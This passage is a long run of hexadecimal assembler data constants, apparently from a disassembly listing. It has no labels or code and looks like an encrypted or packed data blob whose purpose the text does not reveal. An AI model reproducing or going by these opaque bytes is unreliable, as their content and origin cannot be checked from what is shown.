0E3738B60h, 0C3619D02h dd 8CDE4352h, 0E961A5A0h, 550D1131h, 22E0C0C3h, 4BF3F617h dd 6F349DFBh, 0E7FE3252h, 74BCD247h, 72A431E1h, 0D4FD4AAFh dd 1FA7B04Ah, 0F802BA41h, 64D6535Eh, 46EACCAFh, 0E1511D63h dd 7355F168h, 0F5BC7282h, 0E9FF8CBFh, 0D452C773h, 0F465D29h dd 0D74DBAF8h, 0F2810008h, 2B894AE3h, 0DE2EE42h, 25EE5761h dd 0A8E901E6h, 26837E10h, 0B757C5Ch, 45D37DBFh, 983FA37Ch dd 903C202Ch, 66D72032h, 0AEE5CF32h, 0A525D705h, 4FCB8329h dd 0B125EE9Dh, 63D82102h, 9FA4C03Dh, 0F8828320h, 9DFE52DFh dd 17B8475h, 57612CEEh, 0EB554Ch, 3CDF4071h, 0C02383E9h dd 6691BF46h, 0C1BF3733h, 0D93F0490h, 278C743Fh, 0D6C25558h dd 524CC8EBh, 5D2FBA03h, 0BB4A5585h, 0AA925087h, 621A2DE9h dd 6254E7B1h, 3004D211h, 4E182603h, 0A52D3AE8h, 0CABCC85Fh dd 1E562D31h, 0FF89897Fh, 76B7BB00h, 0E917165Bh, 98F9C64Ah dd 0EA88870Ah, 0EC7313ECh, 9BAC4B9Ah, 8B3DC2B4h, 8709577Ch dd 9992CC34h, 365A0820h, 8B01E635h, 20856AD5h, 6CE5EA40h dd 49884C50h, 5340ED1Ch, 3CB4BF80h, 0FB7DD6EEh, 0A658A58Bh dd 0EEC1A120h, 20C86F3Eh, 0BD3958ECh, 1C40AB16h, 0A65558E3h dd 62F07304h, 0FEC6BE5Dh, 126F697Eh, 3BF19FF8h, 41C921D8h dd 5F28A2Dh, 40023BF8h, 610C9411h, 515754E8h, 945CB86h dd 5052D0F7h, 4654F232h, 731CA003h, 5B0C0111h, 17A9DA3h dd 931549D5h, 0E489B3E4h, 4F682464h, 45DE8DBCh, 0A5C4A1EEh dd 55EF5527h, 0A50B5327h, 642165C9h, 0C84EFD7Bh, 39804EDCh dd 0EB9C8FC3h, 106E3B3Eh, 0A71765B0h, 0AABB84BFh, 0E3957BE8h dd 178AFE4Bh, 45B87C17h, 0A83EE3C3h, 53ACC745h, 67817234h dd 6B424A2Ch, 0AB05402h, 4975E16Eh, 2AF06457h, 8AD37472h dd 0ED0FDE71h, 0BCB060Dh, 0A8CEE913h, 0E5EF5D4Eh, 62B2650Dh dd 18575A27h, 0E12285ACh, 0EE58020Ch, 53188073h, 9058142Bh dd 41676ACh, 0F8E90215h, 578AEEC3h, 1C686B10h, 0D992CA87h dd 7F08F51Bh, 0FADE2510h, 47C52220h, 0D14C422Dh, 4BF101F6h dd 56543F7Ch, 0D66A60FEh, 0E0535C0Eh, 1D13F73Eh, 0E7910021h dd 66296415h, 0F0BFD176h, 0EA5B26ECh, 930309CAh, 0FAAA965Fh dd 567B5675h, 0B20C9851h, 0C9394FF0h, 2D82406Dh, 24C1028h dd 2AEA18EAh, 16D7010Fh dd 0E8729EE9h, 0D6099E71h, 3013528Ah, 0F76DB1F6h, 5F279DFBh dd 0F25443EEh, 0E574BDh, 0CC888DB1h, 0B53E5159h, 0C281A5C4h dd 93FD00F5h, 90232F5Dh, 0EC275B0Bh, 2DB0C452h, 8C53FA13h dd 0F425AFF5h, 8B1D8B7Ah, 0FE9940F3h, 0BEC058C2h, 9938039h dd 7677EF28h, 5282F7C0h, 37A176B6h, 0B8067DE6h, 0C6C87A1Fh dd 0AE3B12EAh, 0F8C2111Ch, 750BB151h, 0FE628B76h, 0F48975C1h dd 15AE2009h, 881985E6h, 166C0439h, 90EA596Fh, 7D44B01Ch dd 0E94A4806h, 4D32303Fh, 2579005Dh, 0B73B320Ah, 825D2ED9h dd 0A2B35316h, 1CD35EFEh, 9BCBC015h, 0E3C0D3F6h, 74A20561h dd 0F1F4C9FEh, 60E97D25h, 0E0C3517Ch, 1612E52Ch, 4310FB01h dd 3CE14508h, 8DE9A345h, 39800FF0h, 0F59938E5h, 0F08C0CA2h dd 3CB003EDh, 0C214AE7Fh, 7299280Dh, 8CB59EAh, 3DD11105h dd 11A73475h, 9074D4DCh, 0FFA020DDh, 3A8E5650h, 55F66880h dd 0B32E5479h, 0EEA4EA6h, 0D73228DFh, 0FE6B9181h, 4021304Bh dd 0D64C09Dh, 0A74C2C93h, 0C06A125Ah, 221FBD4Dh, 0F765100Ch dd 1393AD5h, 0D105BE4Bh, 0E00825E0h, 0E29511C7h, 72E60087h dd 2577FE5Dh, 0C0A80E9h, 0EBCB15D6h, 751AB902h, 0F1D5553Fh dd 0E94E6068h, 5797F19Ch, 56205E18h, 4989D995h, 862F674Ch dd 691C7E9Ch, 0C4497307h, 6E24E16Ch, 1E051270h, 697E3047h dd 3BAB2CCCh, 14462BFh, 454B6807h, 3D44D83Ah, 1313203Ah dd 0A25336E9h, 899E4427h, 5759CAC0h, 0EBEC4F64h, 63880804h dd 56D553A0h, 0CC4CC0A9h, 1C500E8Eh, 81834666h, 0BB27D0F6h dd 0D6F7C94Eh, 0B0E6C1F0h, 849E4BA4h, 0EE39FB6Bh, 104EF23Bh dd 9B4817CEh, 1DFF713h, 9B28C7C1h, 88A96B0Fh, 40F44040h dd 5F2D68A9h, 0A7EC9862h, 1F858253h, 0F02CE42Dh, 3575081Eh dd 5D911BDAh, 0CC73777Eh, 0AFB5FFFDh, 37A8EF4h, 0E9291E10h dd 8D5FC84Dh, 0DD93D75Eh, 35E80AA1h, 650A449h, 19345AC3h dd 0FB09E258h, 25B055Ch, 427F4EE5h, 4B60DDE4h, 8C5F55D8h dd 0CD00F4B8h, 311C3B58h, 524EE9F9h, 7DEEDCD2h, 81A02670h dd 5F913573h, 51172709h, 0C99A2866h, 737A5B0Bh, 0BDC7B720h dd 504CCD8h, 784B5429h, 0BEED782h, 42486257h, 48F37F31h dd 3BBBE941h, 9019E769h, 20F22FECh, 3117F338h, 0CE04D001h dd 290FCF68h, 0B494FC73h, 0D9166A85h, 2D299FE4h, 0A79A58C3h dd 0C9E2AE6h, 0FE95E942h, 91A0276Dh, 0E8289AB5h, 528F7CB7h dd 0B79F94DDh, 0A204CED8h, 0E63042B6h, 2D1ACBAEh, 0E49EF050h dd 9DE912E8h, 178BEA8Dh, 0A704904Ch, 94BD03Ch, 0AD8E5322h dd 0FA2007CCh, 67CD983Fh, 0C3522F67h, 0AF02308Ah, 2F280EC5h dd 0A0D87760h, 0F5E97FEh, 0FDD38EA8h, 4C6DC54Ch, 3084FEFh dd 0D96F5404h, 0A8A8ED51h, 0E23EDF13h, 5077753Eh, 750BB875h dd 7D4284E9h, 0DBB34BB8h, 355B8CB0h, 41F0BE98h, 50046B15h dd 0B90A6ADBh, 0BEF60B9h, 58134713h, 0EE0ECF01h, 0D4B2D69Ah dd 0B51F7378h, 0A46EDA7Bh, 41A28DD7h, 0C89BAE4Ah, 0BEA6E916h dd 16507E8Ah, 0BBD7407Dh, 9A38810Bh, 845C584Eh, 0FF514E75h dd 17C7EC50h, 0D62136C8h, 0AE146073h, 11CB0BADh, 7DEB8BE8h dd 0AFA5B09Dh, 907D9722h, 0A4C10987h, 0D7C318C1h, 7B650B46h dd 90F501F4h, 6816EB10h, 8B32EEBFh, 66579057h, 10F026BBh dd 0B5422DCCh, 3A09055Bh, 419877C5h, 0DBB540B0h, 16F02C07h dd 2A784132h, 2A08190Dh, 1E7A2CBFh, 6AD67317h, 8444EE0Ah dd 1249C181h, 0A43EF535h, 85A89BCh, 0C8DE4EEDh, 5D0E2D30h dd 0DABAE557h, 0FCA8E834h, 0BE201D32h, 0D13AEB77h, 33436864h dd 0A5048325h, 4B403FB0h, 31AFC817h, 0C014AA88h, 6ADCE731h dd 0D59D2893h, 2D77BCA0h, 0CC15AD8h, 4C463E76h, 0ED42092Eh dd 79257776h, 19CB4FCAh, 6EDF4D91h, 1AF52BBCh, 0D677C456h dd 97FCA0C7h, 0D6EBBF65h, 937E2F94h, 2AA2BC2h, 657AC729h dd 6CACC624h, 6538778Ch, 38575D68h, 0F35E5BC9h, 0B8F0AC2h dd 17A47800h, 419F114Ah, 37FD45CCh, 0A8284EF3h, 0D2C74FC5h dd 801999D2h, 51075E87h, 902D002Bh, 0E93D9344h, 1497CC41h dd 92F9F83Eh, 800A9572h, 48360D05h, 19AAB7B1h, 0C48DDAB2h dd 2B832756h, 0FCA096D5h, 0C8455FA4h, 0F27684Ah, 25B6E64Fh dd 3371E2C4h, 56E7D789h, 9444CF9Fh, 7768B916h, 0B0FEB327h dd 80D42632h, 5A0FED81h, 690D346Fh, 193605Dh, 29FD9DF0h dd 0A0B64140h, 0C17E90ECh, 5560FA0Ch, 0C78A4337h, 98F24903h dd 0C35BA1Eh, 0A115950Ch, 0D55C2F54h, 89BED6F9h, 0FFAD7A56h dd 26FB4E7Eh, 3BEC1FDEh, 0FD346727h, 0FA7F2F89h, 0AEF84B61h dd 3A684C91h, 0E75718A7h, 5819ADB3h, 8CD5559Eh, 0C094969h dd 5577025h, 23C3D16Fh, 0E3FF8547h, 60EED359h, 34875F43h dd 0E2797CBFh, 0D014D5Dh, 1F0112Dh, 3E43B951h, 0F4F12F2Fh dd 7E673D83h, 41E46756h, 80867105h, 1DFEE891h, 0CECD0BCh dd 0E80F1967h, 24E03831h, 0D75B2190h, 1F2AACB0h, 8C0A734Bh dd 301CBC32h, 6866D805h, 19C95246h, 1644EB2Fh, 22D7E8E9h dd 4DE700FBh, 4E0E9858h, 868A8389h, 16A2AFDDh, 136A44Fh dd 689276BDh, 9501666h, 0BE73210Ch, 0C2265EA7h, 67F61274h dd 6CAC04CBh, 7FC1EE12h, 0D056476h, 8D0A12D9h, 0DFBE526h dd 0D52D5640h, 2BF32715h, 0E959575Ch, 180FBC3Bh, 0E49AC101h dd 7D16B757h, 4564EB98h, 0BCE8C1D9h, 0ED1ECB12h, 0FF1FF4BFh dd 0E54EDF42h, 9AEAFF50h, 6BD647DFh, 0F8B5E27Dh, 183B09DCh dd 82896EC5h, 0E1BEC602h, 0D9A06D7Ah, 11252138h, 82131A6Dh dd 647930FBh, 616AEE9Eh, 0E8C16825h, 0D3F5FD12h, 0AAACF4FFh dd 4DF4A899h, 2CA792ADh, 6A7E6470h, 1A9D0025h, 0B1BA71FBh dd 7C291326h, 5763E22Fh, 0BE13ADC5h, 0E9C680EFh, 9E9E78D1h dd 0D7164982h, 40A5402Eh, 15F41D0Bh, 0AD5B26E9h, 0DF410648h dd 84A0D9B1h, 6E23270Ch, 6306C217h, 77679040h, 6CE91C98h dd 80626D4Ch, 0B9C8D293h, 2CE79A21h, 3C59D1E2h, 68208B5Ch dd 0CAFB017Eh, 95741057h, 0A8F9C545h, 5635CC58h, 50867CBDh dd 8094B4E0h, 0E888A452h, 5E2CCAB8h, 0E329428Ah, 86648A76h dd 0F71260BCh, 8B02EAD3h, 76E628C1h, 0BDBA83CDh, 80C448CCh dd 11093D26h, 0C8C2514Fh, 55088BEAh, 7B67F6E9h, 8BEB8216h dd 18E4C1Dh, 0DC274868h, 0E6F85E73h, 0F7390F7Fh, 0E5F3E971h dd 0EE970571h, 0E8EA24C4h, 0C9D3CF35h, 13D104DAh, 20B6B701h dd 845F7CFAh, 0C788E051h, 205F4173h, 53E657FFh, 485087E7h dd 0E9714A15h, 0F73E0C16h, 7A8D4581h, 0D1E46BFDh, 5809A782h dd 284E73B8h, 0E9A0F5A2h, 46B70FE1h, 396827E6h, 0A025E55Fh dd 2FF6BD9Fh, 8724B226h, 0F02BDCAFh, 1C5F4F09h, 425E59F7h dd 41ECE998h, 7F4D3049h, 0BAA8B617h, 449250E2h, 0C02AFAC0h dd 25E93B39h, 4CFD5947h, 0B12568CCh, 0FCFC245Ah, 0AD27FE12h dd 0FEBD7DA4h, 790B6E14h, 684FA96h, 9B0035B1h, 3C6A1206h dd 2ED80146h, 0FC750470h, 0AEEDC102h, 0A00B34C6h, 30E208B5h dd 5238BB95h, 71278A37h, 37C4229h, 0D6F4E908h, 0DAB3177Eh dd 92FE1EC0h, 0BABFC496h, 0A6BB7C24h, 0A9A84E79h, 0DAC83C27h dd 0CF031551h, 0E2C15A55h, 2CD63502h, 7E3B043Ah, 0C51F1212h dd 5D69CBA4h, 68586A79h, 926F4B37h, 0C30FDB90h, 0A03D18BFh dd 7962EF81h, 0DF293271h, 5B07C710h, 39ECBDE1h, 0D8C51487h dd 0CC8CF90Bh, 5F81ED10h dd 538DC32Ah, 34FE5DEBh, 872C4B7Ah, 0BA06BEDDh, 31306101h dd 0B4809EC2h, 0C55207F8h, 43ECF70Eh, 5113BC60h, 0E1177B9h dd 0D1F77E88h, 85E9D94Fh, 0EDB16D70h, 9C657D27h, 2B5797CEh dd 7E733DFCh, 0BF73B61Ch, 0A7756BA6h, 7C72B9D4h, 73C60BD8h dd 77293AD7h, 5B58ACB0h, 139FE913h, 0CBF167AAh, 5E69BC75h dd 0CA799081h, 6AB80959h, 82808E9Ah, 27006E92h, 4FF18134h dd 0B06C893Bh, 0BF9C4BF1h, 6857C870h, 1D1A4D8Ch, 1DF3B884h dd 4EAD0F55h, 83C5AB81h, 80FF5A02h, 0C06E3A7Ch, 3790C91Bh dd 0F789E598h, 0EF02A898h, 2FA2B5D5h, 0A4B0DF57h, 4482B6B3h dd 9CD8F25Fh, 1D59257Bh, 8532076Bh, 0E8CCF939h, 1CFB08A2h dd 4ED3880Ch, 797782D6h, 1DC7A8BCh, 9777585Fh, 0ACC5BAEBh dd 47E9A381h, 0F94FEB78h, 0D921C4AAh, 735F5122h, 6001443Eh dd 980AE9C1h, 622E2F33h, 5ED6E2ABh, 1440D3A8h, 50C50780h dd 0B2EB2858h, 9656902Ch, 5A25406Ch, 7C952DAh, 156E863Dh dd 0AE78AB69h, 6F638E9h, 9C38EB5Fh, 0CAFA5A01h, 9D95924h dd 0A09F7BE9h, 0CB3CDC44h, 0CF012615h, 0EBD40C29h, 709FD18Fh dd 47FC9514h, 0F7376FCFh, 0E60B3CF9h, 0E720C556h, 3B2A6D96h dd 0E9161898h, 0C6A63A19h, 0B6DA363Eh, 0A2A24A28h, 0F67C29C9h dd 724D712Fh, 0DCAF45C5h, 51557216h, 0B2E98967h, 0DEBD9370h dd 6855D826h, 2332DE01h, 0BAE95D2Bh, 78FDE32Eh, 0FBE0BB2Fh dd 65E961CCh, 11402F41h, 0EE50FBC2h, 5AD00A31h, 1693C689h dd 0B592BC8Ah, 0ED4B38BBh, 41760344h, 0A4DA07C2h, 33B80060h dd 581EF555h, 0B4586C09h, 2EA6F24Ah, 2116DFB4h, 690C8CA4h dd 3881BDE5h, 0BE0BBD31h, 9DAAF1Ch, 35C281BBh, 0F36F11C0h dd 589E6458h, 26C3680h, 7C1C58C7h, 1D4A8000h, 8BE6E921h dd 0DDF359C0h, 9D35F47Dh, 0D19DC5F1h, 89DBF78Ah, 0A984C91Ch dd 0DDFB295Dh, 0A3B82ECAh, 0B0C1BFD2h, 1AC223D2h, 0F8405174h dd 9B3662E9h, 0A50513F2h, 4F676013h, 1E4BBF80h, 8D0CBB6Eh dd 1141B02h, 251FD3EDh, 4B522CF9h, 2E1269AEh, 0A64E05F9h dd 207258F7h, 4EE92F10h, 0F381B3D4h, 0EF67D847h, 536A92Fh dd 4D266574h, 8D714D87h, 393CBC8Bh, 60134417h, 720DAD55h dd 15056303h, 2DA95121h, 72947AB8h, 75555D27h, 732F3217h dd 7C350CB4h, 0E55E46B7h, 0D0C502F8h, 0F986B561h, 0C24C0743h dd 453318C9h, 0CE1D0C5Fh, 2AC83C24h, 1B2CB13h, 112A05Bh dd 726C7F2Eh, 76B100C9h, 0C7174003h, 62FB3B0Ch, 0FC68517Ch dd 7F0A5C7Eh, 62D5849h, 26BD627h, 32202F2Ch, 0F33DCC5Eh dd 0D48AF225h, 6005E0CCh, 305AA975h, 7073BA1h, 4462F759h dd 18BD9677h, 4C6797E9h, 5303D2F6h, 0E78057B7h, 61C798F3h dd 0BFFA4A30h, 1F22E28h, 0B05066F7h, 68CDE989h, 0DECA5BDEh dd 0FE20C046h, 2D149C48h, 0DA40A00Ah, 7C32343Ah, 47B12D48h dd 0E9D8817Ch, 9D0BEEAh, 0F596F829h, 2586FF97h, 44A0611Eh dd 2A22161Ch, 0D6F70775h, 0B09A668h, 4C16E67Fh, 5ECA41FFh dd 3CE640DAh, 23160105h, 1044CE87h, 0BE1736CCh, 0EA5A3FDEh dd 8C689669h, 531682E6h, 50036D68h, 64B5B12h, 840AA36h dd 0EE0B0C7Dh, 7F702C82h, 0B0E94682h, 335C8BDFh, 6D77D9C5h dd 6D39BB2Eh, 999E3BFCh, 222F02E1h, 0C68E381Bh, 130E4C22h dd 61D0C7Fh, 0E8D13C08h, 0BC04F172h, 0BB222687h, 0DF170C12h dd 0ACD6C4B2h, 5E6938h, 1628EC1h, 0FAE919EFh, 0DD807891h dd 0E9FEC166h, 0C4872B16h, 0E9535989h, 38EC465Dh, 0FF4A3910h dd 83298B8Ch, 93F053F2h, 66CCB224h, 93404810h, 908ABFBAh dd 3C2E3C9h, 2F7DE4E1h, 8419CB8h, 98F2F07Bh, 0E3022391h dd 0A2E249D2h, 5FC521BBh, 4869AE5Bh, 12BCC59Ch, 269710Ah dd 0B10FB7E5h, 0BFD1516Ah, 0CE5C1109h, 96BB36Ah, 265875E9h dd 7CAF7CB7h, 1ED9E92Ch, 180A5E95h, 0F14F777Bh, 8A031DCCh dd 54BAC4Ah, 0AF1D3426h, 13708A41h, 1C8255DEh, 1EDB7F4Bh dd 9FA0E4DDh, 569F25Ch, 0CFBEA79Bh, 5AED025Eh, 40DA7C9Eh dd 0FD8B5D04h, 0BE2EBA3Eh, 0A802D265h, 0EDABA425h, 8D09FE9h dd 0BCFD4F70h, 77EB1C33h, 405EC3C9h, 0BB699444h, 100C10ECh dd 800C84E4h, 3706B5F1h, 0BDB0CBE0h, 46145427h, 0DDA2202Fh dd 6D73507h, 4BA53862h, 434D79A8h, 6555E9E1h, 0C24E32C5h dd 4754505Ch, 2A9208D3h, 0E9BABB27h, 986F185Ch, 6C4AD05Bh dd 0D79636F9h, 9AA15B3Bh, 0E0E1F65Ch, 8BC0C141h, 6D952AEBh dd 0DA313EAFh, 6609EDADh, 83E91F5Eh, 4A8A8284h, 8F6182E7h dd 65258C56h, 0CC551F6Ch, 210C46B2h, 27C7D04Ch, 79537C47h dd 44E048FFh, 0D0B3074Ah, 0D8515384h, 0ED7AB7A6h, 95CF63Bh dd 6278E901h, 9387046h, 2841F380h, 0E406D40Dh, 9A4C2C4Fh dd 62C928DCh, 0DEB05073h, 9812D825h, 5E7D68D1h, 0E9C9D80Ah dd 0E113DE5Fh, 0CB5EDA2h, 0FAFF1629h, 0BD4AEBEEh, 10B7EEACh dd 4F5F3B56h, 6B020D98h, 965FF44h, 77FBC8CFh, 30372401h dd 45A302BFh, 0D940750Dh, 2E074FB6h, 2709E93Ah, 6A38FD0Bh dd 95C01019h, 6D851FC5h, 0C8589550h, 5ABFA490h, 1F64F327h dd 8D899FF4h, 0EB4A44E6h, 0D887D0A5h, 270E45FEh, 1C6D01h dd 17E95108h, 0FECAE24Eh, 0BAD4F413h, 4570F530h, 1C5B48B5h dd 1C06511Ah, 3F2D6557h, 0CC97B516h, 4D49989Dh, 0C139FBFh dd 0A23167FAh, 0E9F23ABEh, 30AA505Ah, 0AB134768h, 7CB8703Bh dd 0D08F542Dh, 1ED6C1CBh, 969781Dh, 0F7090804h, 4F69F255h dd 8212ABEEh, 716704FFh, 49C1E651h, 86DF4F77h, 415E4A60h dd 5295743Eh, 0E9088014h, 56596D18h, 0AC82FA46h, 1C7BFEABh dd 2BF3BA45h, 0A702AB5Fh, 479525E9h, 827BFA1h, 52861E86h dd 97A09090h, 881F5205h, 4BFAF6DEh, 0E1126FB8h, 0E02E8981h dd 0CBACD7A1h, 25535EB5h, 0B224CFDh, 0BC7665BAh, 0DEF36902h dd 0BC0B1C75h, 0EEC51365h, 0B767CBC6h, 0DC4BFCD9h, 0C8750D1h dd 0ADCEE79Fh, 26DC27C2h, 1052008h, 0A4589FBEh, 8EE37032h dd 378C732Ch, 9D7CE03h, 52E9C047h, 529A955Bh, 62C0FC75h dd 0C06A30EBh, 7825CD7Ch, 4BE89779h, 0A6C14B58h, 6CCC6AA0h dd 0EE42BB3Ah, 0FF099014h, 0DD1C3148h, 56836082h, 8D8525BDh dd 0F709437Ch, 0C09D38D3h, 68D9BD45h, 0FA604842h, 2B7495A9h dd 4478927h, 580BFA7Eh, 52923075h, 0E9750CB6h, 0E27FB723h dd 0CD28F50Dh, 22F4AA0Bh, 70349540h, 0F45FE916h, 0A8FA3264h dd 0E44AA32Ch, 6C0DFF8h, 934DD1Dh, 0C2ED71B7h, 99F514C1h dd 0E778D917h, 0A665E04Ah, 8C061F41h, 809B4B10h, 9DE1B9A7h dd 2E021C5Fh, 80613EE0h, 2EEBF3E5h, 25009D12h, 0A8A6578h dd 999F0CC1h, 0FB38C864h, 0E9D12905h, 7E17EE90h, 3136CCBBh dd 0B232F35Eh, 3D227D5Eh, 0BAE56E67h, 73A483A7h, 0FF818509h dd 707A7FBh, 0D00E75C3h, 0F2295AE5h, 995C8FEh, 2F1C55B0h dd 0F4AF3225h, 0CDE4EBDFh, 4C88D240h, 845B85F8h, 0B409EC37h dd 7F1E8282h, 0A1210494h, 7016BC15h, 2B188946h, 0E9502B31h dd 0C5BB4BC7h, 2B4D8903h, 0C12F6AA6h, 9EFFB48h, 3E862F1Dh dd 2097E780h, 4524128h, 99634E68h, 8C7D8157h, 0B3530325h dd 0ABA55EA5h, 0FE614F36h, 0BAB04A3Ah, 16DA1288h, 0B65E077h dd 3E46D372h, 79D1F420h, 5DDF785Dh, 0B4042EF7h, 0ABE528B9h dd 78ABD7C1h, 51F7E112h, 2D46004h, 61F360BCh, 661C36B8h dd 4EE9C9ACh, 0E309AAC5h dd 0CDE9485Fh, 1F0C1D11h, 9AE5814Ah, 20467F4Bh, 9BD20A57h dd 8329F117h, 0FEB8C53Fh, 40E50C67h, 0BAAD3517h, 395AE04Eh dd 5AFAC849h, 244781F0h, 2BF2A1Ch, 62A01D9Bh, 0F048CED7h dd 0BE1505DCh, 0FA015F97h, 5F5ECFCCh, 68FB9C8Ch, 80109249h dd 82185FBBh, 0D8599D70h, 0D053626Eh, 0CEE90008h, 6948F745h dd 61500222h, 0F4213873h, 82D516A7h, 72E04347h, 0CF2F3D1Dh dd 8220FD72h, 26071BE2h, 73904F71h, 12F21F4Ah, 12B34E84h dd 2F324490h, 0F630C6C9h, 2D051A13h, 28EC3756h, 0ECAF2084h dd 2D28A967h, 0DFE8EFB4h, 72E9D0C1h, 90A83B67h, 13F669C6h dd 5351E302h, 0A06C7868h, 19E1BE34h, 0BC7C4EEDh, 932E504Ah dd 0FA96404h, 82AACE21h, 6C770230h, 4B041D0Fh, 6E9AE8F3h dd 0C4A51C1Ah, 0A375EE01h, 0E9858CBFh, 926A5C25h, 25EAD2B1h dd 4096D7DCh, 394783A1h, 61BC062Ch, 0B0C5567h, 461771E4h dd 6D4C7C81h, 89E9FCE8h, 0DB9554B2h, 0CC9F657Fh, 541EC93Ch dd 8BC9890Dh, 4A649447h, 58EC4CD2h, 0D87FBDD9h, 0F7648C12h dd 116D7105h, 1228CABAh, 0CCEAFE77h, 0DEBF2D4Eh, 0C3933F31h dd 0C9FFD707h, 0C742E27Fh, 0C3310B93h, 97170749h, 71000883h dd 0D07BCB80h, 4F05FAEBh, 683E603Bh, 94994D14h, 0A665E4EBh dd 0ED483BAEh, 0BE9DEACBh, 0C475B2F7h, 7095B2A0h, 1632B5D3h dd 5AC2765Dh, 4773CE86h, 392E3722h, 0D8ED8F7h, 5E47B2Fh dd 7E90C10Fh, 3D35972Bh, 990E8CEFh, 0A6A80F9Dh, 2F4F0C10h dd 0F1A03A0Fh, 176E13C0h, 6EE6094Ah, 0B810503h, 9EA82A0Dh dd 7606039Ch, 4EC6E956h, 26350450h, 0FB45780Ch, 9D90C313h dd 948C27A3h, 8E58A5A1h, 6829DEBFh, 392200A6h, 0FBBA2E78h dd 1DD86709h, 9C4F231h, 0CC5FA12Bh, 165D84DFh, 0B3EA2AAh dd 7502EA83h, 2C2D3396h, 4941D61Bh, 7BFFA3EAh, 0F1D2A537h dd 0C243D1B7h, 475659C8h, 572C3FC2h, 81672576h, 0B1137599h dd 465D04BAh, 0AB1CD7BFh, 0C229F94Ah, 98FF888h, 4405F501h dd 3025BE13h, 781FA6AAh, 1D91CF50h, 730BF7B8h, 147FB1E9h dd 338CB0ECh, 0F5B74280h, 72FDEDF2h, 3AB24904h, 52AF95Ah dd 605F704Bh, 8F2D41FEh, 7BD82C82h, 0E901EDC1h, 4F7EC162h dd 2F5DC90Fh, 48EE2A01h, 1A300D6Fh, 18131232h, 4F50EF6Bh dd 0B1744C08h, 857B1EE9h, 8224E31Dh, 57DB23E9h, 20F448ECh dd 2AECE34Fh, 15438084h, 0B90CDFEAh, 4392610h, 15840FD0h dd 657F9119h, 54258945h, 6414F742h, 27119497h, 82765E5Ah dd 0E8F5CD51h, 43F2C87Eh, 486A7517h, 40141AE4h, 0AD76BD6Dh dd 123E573Dh, 0E0C93C47h, 157CF16Bh, 0B24EE28Ch, 0A74AD95Ch dd 0A871655Fh, 0AB5A4BE7h, 0C9BCB222h, 0A42A059Dh, 7CBF5A7Fh dd 0CF685864h, 0E0474762h, 46F5233Eh, 1B2A067Ah, 0B13C843Dh dd 0DC8A12F2h, 2E3B29h, 22B25266h, 0E91AD130h, 0DF2693CAh dd 0F4A28AB2h, 9625A58h, 0C22D11F5h, 83C92030h, 81A62FFh dd 0D289D1FCh, 0E6BA5D2Bh, 0C05FF65Fh, 7ADE3E13h, 0E9088084h dd 81B194AFh, 0D351BBC5h, 4530606Ch, 44AAE7B0h, 7572625Fh dd 4A5EC85Ah, 0B7531880h, 0C7FE00C1h, 5108EFC0h, 0D9E9FAB5h dd 2B874259h, 0C9886857h, 1EE1E6D8h, 3DD9F60Ch, 0BA4FBAE4h dd 2BF7F344h, 611655F3h, 936BED9Eh, 5E33F50Bh, 7E094BF5h dd 7B5926C1h, 501B6EB0h, 17D9780Fh, 0EF412A27h, 0EAA8456h dd 0E3A24288h, 81DD0913h, 26CBE2DDh, 30E90AECh, 0BA4EEA38h dd 2C1E78F8h, 558C134h, 4C5AB726h, 0F310E2F6h, 0FDB94A3Bh dd 1909EA5Fh, 87FBDD5Eh, 0D649E961h, 1537FB2Eh, 2EE1A5A4h dd 0C1A0B462h, 409802E3h, 0C341AD04h, 0BB804B36h, 50872EC6h dd 3D9BF713h, 47AE4216h, 0AA071319h, 0CF5A1731h, 0FC525B01h dd 77C95440h, 0EDC1F7C7h, 119CF05Dh, 33C319C0h, 0B521FD09h dd 26F61F40h, 32497F82h, 6A98F002h, 0C9EF2F80h, 2D004A5Dh dd 79E7E844h, 0ADF2095Fh, 28BB53C0h, 2060F329h, 64FB8D68h dd 32F6B7F2h, 0FD180F42h, 769DC844h, 41B1622Bh, 0FFE9EB76h dd 44E91530h, 0DC30A9BDh, 0BB5D584Dh, 4B73503Ch, 0B77F0BEBh dd 5A484D78h, 4F202049h, 3D58EC5Eh, 0C00E2FF3h, 512DD8h dd 5798A28h, 7AC008A0h, 44EE2AB8h, 4CFDF102h, 57AF02E9h dd 9DF8657Eh, 9558829Bh, 2F3E4695h, 9AF447EFh, 0F992422Dh dd 0D35D6987h, 9D7BAD29h, 7506FD0Ch, 4BD40EEDh, 0C1C22AB2h dd 0B6600BCFh, 900F6853h, 1F40246Ah, 0F1F33D9Bh, 447F27EFh dd 0B5D33BDh, 633A7D5Fh, 313F3D80h, 6ECD47F5h, 0FCF4D718h dd 4B669EFEh, 81B529DFh, 0C530A9CAh, 0E4B850E4h, 0E5C122Bh dd 0C472A401h, 0C09AEF16h, 123029F1h, 6FC7838Dh, 0C0D10106h dd 9763CD04h, 63815A0Ch, 78BF0DA5h, 0E782EF3Fh, 7FFE4DA4h dd 9C546B40h, 577D69E0h, 47D88DA0h, 590FCC1Fh, 0F07F1D4h dd 42CA315Fh, 0E65BA068h, 2DD3E6FDh, 0C03F4E9h, 77B95966h dd 480EA6B1h, 65FAF51Ch, 7EE11D84h, 0CBFB86D4h, 0F8C2ADFCh dd 1605ECF4h, 82BB4B3Fh, 25006F77h, 237585Dh, 0D5A9051Fh dd 0B2426E99h, 3943B07Fh, 1761927Bh, 0EF2FD368h, 4697DE71h dd 263F9C6Ah, 873B62E3h, 10D5F830h, 0EB2F3FF9h, 6BBB0F57h dd 0BD7EC115h, 0B6021A66h, 296D8922h, 0C52323E0h, 8013EE92h dd 0F00E35F2h, 6DFDEF8h, 0F204BECFh, 0FE2885BAh, 0EA410CCEh dd 0BC6A7335h, 0A76B1722h, 0BC3A7CC9h, 195DA10Bh, 4E91F26Bh dd 0EE87D5B9h, 455F0916h, 84522B42h, 0AF9D13E9h, 0B94A98CEh dd 96D98BB2h, 1AFF9D17h, 0A1E67D65h, 45710C9h, 0B110CF08h dd 64CFAE4Fh, 0C17B0645h, 8F3B2787h, 53ADB783h, 66B104EBh dd 682E914Ah, 20E3DC8Dh, 0D86A8BBCh, 0C12ED802h, 5339443h dd 6334DAE3h, 514802Dh, 4DADBF7h, 0ED4BA85Ah, 496F0204h dd 4EE90EEBh, 31729D22h, 5B553262h, 1C928C5h, 6BDF6659h dd 743FE4E9h, 0D978883Bh, 5C97C771h, 0F5C58135h, 2F2D986Fh dd 92969A4h, 0B68BE9F0h, 56821B5Eh, 0F637056Dh, 429605A4h dd 0C47F8154h, 84B80067h, 22612839h, 2A970CDh, 0DD890607h dd 0F9507DE9h, 59CB2802h, 0D977C380h, 3E1A628Ch, 17A1FE0Bh dd 5601FA53h, 